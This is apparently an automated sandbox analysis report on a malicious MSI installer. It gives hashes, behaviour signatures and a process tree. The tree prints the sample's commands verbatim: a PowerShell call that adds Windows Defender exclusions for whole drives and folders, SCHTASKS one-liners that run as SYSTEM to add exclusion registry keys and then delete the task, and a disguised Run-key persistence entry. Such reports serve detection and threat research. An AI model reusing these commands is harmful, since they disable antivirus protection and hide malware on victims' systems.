Analysis
- max time kernel
145s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 03:38
Static task
static1
Behavioral task
behavioral1
Sample
install_b6j010.msi
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_b6j010.msi
Resource
win11ltsc2024-20260709-en
General
- Target install_b6j010.msi
- Size 5.4MB
- Sample260804-d66j5scd86
- SHA256 8ed26dbeb6f8e76dd6718076d217c4fa4347542ed0d08b0b9380aefc415f3c32
- MD5 0aa9ea42f6e5b63ec1f769eeb1fcd67d
- SHA1 d5af2d3e64d876a5cc2abf04aa918d194eaf8936
- SHA512 a9ce046d1d5b3d2a41753c457f50c36de39176b7549077fa49a83ac05be9c520f0b698e4a73c93e92441c5b41a7ee85fea7ce09ca177bc429d5af45e81759e29
- SSDEEP 98304:PK06r4V6fscocNT2vxvxqgw182B95xEh7am+eAtYP/fH/PscibhuOjg9H2GIK:P4r4V6fhT2vu9182B9wTbAtsff4htjgV
- TLSH T1384633C979C93B35D45BC7B142027AAEF66D7FC49EA28C0237ED321C6E329599432718
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1312 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 5940 jsMk9G.exe - Loads dropped DLL 2 IoCs
pid Process 6724 MsiExec.exe 5940 jsMk9G.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\5q9jFb\\jsMk9G.exe\"" jsMk9G.exe - Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 10 6724 MsiExec.exe 15 6724 MsiExec.exe 16 6724 MsiExec.exe 17 6724 MsiExec.exe 18 6724 MsiExec.exe 19 6724 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3400 cmd.exe 2600 cmd.exe 6836 cmd.exe 4344 cmd.exe 4744 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b jsMk9G.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe - Drops file in Windows directory 13 IoCs
description ioc Process File opened for modification C:\Windows\Installer\e599eb7.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DFCC135573879FBBB9.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195} msiexec.exe File opened for modification C:\Windows\Installer\MSIA37A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA3F8.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DFA1A4E50144739444.TMP msiexec.exe File created C:\Windows\Installer\e599eb9.msi msiexec.exe File created C:\Windows\SystemTemp\~DF2D13908F63FFE416.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFA606B992EDEAFA16.TMP msiexec.exe File created C:\Windows\Installer\e599eb7.msi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 1128 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1764 cmd.exe 6592 cmd.exe 3360 cmd.exe 2748 cmd.exe 5048 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000392849c4232396370000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801392849c40000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101392849c4000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3392849c400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6392849c400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "install_b6j010.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "E7DABB4892FBA344EA9D945E1D0884AF" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2248 schtasks.exe 4336 schtasks.exe 6500 schtasks.exe 1140 schtasks.exe 2872 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5224 msiexec.exe 5224 msiexec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 6724 MsiExec.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe 5940 jsMk9G.exe - Suspicious behavior: LoadsDriver 5 IoCs
pid Process 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1128 msiexec.exe Token: SeIncreaseQuotaPrivilege 1128 msiexec.exe Token: SeSecurityPrivilege 5224 msiexec.exe Token: SeCreateTokenPrivilege 1128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1128 msiexec.exe Token: SeLockMemoryPrivilege 1128 msiexec.exe Token: SeIncreaseQuotaPrivilege 1128 msiexec.exe Token: SeMachineAccountPrivilege 1128 msiexec.exe Token: SeTcbPrivilege 1128 msiexec.exe Token: SeSecurityPrivilege 1128 msiexec.exe Token: SeTakeOwnershipPrivilege 1128 msiexec.exe Token: SeLoadDriverPrivilege 1128 msiexec.exe Token: SeSystemProfilePrivilege 1128 msiexec.exe Token: SeSystemtimePrivilege 1128 msiexec.exe Token: SeProfSingleProcessPrivilege 1128 msiexec.exe Token: SeIncBasePriorityPrivilege 1128 msiexec.exe Token: SeCreatePagefilePrivilege 1128 msiexec.exe Token: SeCreatePermanentPrivilege 1128 msiexec.exe Token: SeBackupPrivilege 1128 msiexec.exe Token: SeRestorePrivilege 1128 msiexec.exe Token: SeShutdownPrivilege 1128 msiexec.exe Token: SeDebugPrivilege 1128 msiexec.exe Token: SeAuditPrivilege 1128 msiexec.exe Token: SeSystemEnvironmentPrivilege 1128 msiexec.exe Token: SeChangeNotifyPrivilege 1128 msiexec.exe Token: SeRemoteShutdownPrivilege 1128 msiexec.exe Token: SeUndockPrivilege 1128 msiexec.exe Token: SeSyncAgentPrivilege 1128 msiexec.exe Token: SeEnableDelegationPrivilege 1128 msiexec.exe Token: SeManageVolumePrivilege 1128 msiexec.exe Token: SeImpersonatePrivilege 1128 msiexec.exe Token: SeCreateGlobalPrivilege 1128 msiexec.exe Token: SeBackupPrivilege 5648 vssvc.exe Token: SeRestorePrivilege 5648 vssvc.exe Token: SeAuditPrivilege 5648 vssvc.exe Token: SeBackupPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeBackupPrivilege 4100 srtasks.exe Token: SeRestorePrivilege 4100 srtasks.exe Token: SeSecurityPrivilege 4100 srtasks.exe Token: SeTakeOwnershipPrivilege 4100 srtasks.exe Token: SeBackupPrivilege 4100 srtasks.exe Token: SeRestorePrivilege 4100 srtasks.exe Token: SeSecurityPrivilege 4100 srtasks.exe Token: SeTakeOwnershipPrivilege 4100 srtasks.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe Token: SeTakeOwnershipPrivilege 5224 msiexec.exe Token: SeRestorePrivilege 5224 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1128 msiexec.exe 1128 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1128 msiexec.exe 5224 msiexec.exe 6724 MsiExec.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5224 wrote to memory of 4100 5224 msiexec.exe 96 PID 5224 wrote to memory of 6724 5224 msiexec.exe 98 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_b6j010.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1128
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5224 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4100
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 32D38D20B80F77AB272A191073C8BC67 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:6724
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5648
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C:\Users\Public\5q9jFb\jsMk9G.exe"C:\Users\Public\5q9jFb\jsMk9G.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:5940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:1312
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\5q9jFb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:2600 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\5q9jFb\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4336
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1020
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3192
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:6836 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6500
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5888
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4344 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1140
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4808
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1188
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:4744 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2872
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5496
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1912
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:3400 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2248
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1208
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3020
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\5q9jFb" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:3360 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\5q9jFb" /t REG_DWORD /d 0 /f2⤵PID:2768
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C:\Windows\system32\cmd.execmd.exe1⤵PID:7132
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2748 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵PID:6636
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:5048 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵PID:3488
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:1764 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵PID:3340
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:6592 -
